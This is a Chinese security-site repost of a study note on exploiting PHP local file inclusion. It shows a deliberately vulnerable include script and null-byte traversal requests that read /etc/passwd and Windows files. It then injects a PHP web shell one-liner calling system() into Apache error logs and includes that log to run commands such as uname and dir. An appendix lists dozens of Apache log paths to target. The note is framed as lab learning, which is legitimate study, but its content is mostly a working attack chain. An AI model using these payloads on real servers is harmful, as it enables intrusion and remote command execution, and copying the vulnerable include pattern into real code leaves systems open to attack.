热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

PHP本地文件包含(LFI)漏洞利用

发布时间:2012-02-12 01:55文章来源:网络文章作者:秩名 点击次数:
摘要:这次学习的主要参考资料是:http://downloads.ackack.net/LocalFileInclusion.pdf 实验代码: 如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可显示该文件。 ? php include($_GET['for']..php);//用于测试本地包含漏洞 ? 如果是在win上,提交:t...

这次学习的主要参考资料是:http://downloads.ackack.net/LocalFileInclusion.pdf

实验代码:

如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可显示该文件。

  1. <?php 
  2. include($_GET['for'].‘.php’);//用于测试本地包含漏洞 
  3. ?> 


如果是在win上,提交:test.php?for=D:\tools\readme.txt%00,就可以了,跨目录跨盘符。这里要注意,对于过多的”..\”,360会自动拦截,比较好的办法是使用ie或者ff。

但是光是浏览文件是不够的,我们还需要webshell。可以使用log injection的方法。这也是我作这个记录的主要目的,这才是重点所在。

这里,思想的核心是要将php代码注入到log中,比如,我们可以将:

  1. <?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?> 



注入进去(浏览器的自动更改实在太烦人)。注:friddle2不会对针对本机的访问过滤,我就输入本机的地址:192.168.0.1。

然后访问:test.php?for=/var/log/apache/logs/error_log%00&x=/&y=uname,这是针对linux。如果平台切换到win,可以访问:test.php?for=..\apache\logs\error.log%00&x=.y=dir,会显示当前目录文件。

当然,我们也可以将日志记录到access.log里,但那样会更复杂一些,因为需要包含的文件会更大。

参考文献还提到了:使用linux的/proc/self/fd进行注入的方法,我对linux不熟悉,所以也没有细看,以后需要的时候再了解吧。

额外的发现:

360浏览器有个奇怪的特性,当访问http://www.baidu.com/search/error.html%00../../../../../../tools后,会访问一下目录:D:\Program files\360se\tools 看看有没有这个文件夹,这里有问题吧?TDH

D:\Program files\360se\360se3\http:\apache\logs\error.log%00&y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log%00&y=dir,这两者之间的关系是怎么得来的?

附录:

1、可能的log路径、

/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log

摘自 http://kingbase.org

标签分类:

上一篇:利用phpinfo信息LFI临时文件
下一篇:ASP文件上传漏洞的0×00截断攻击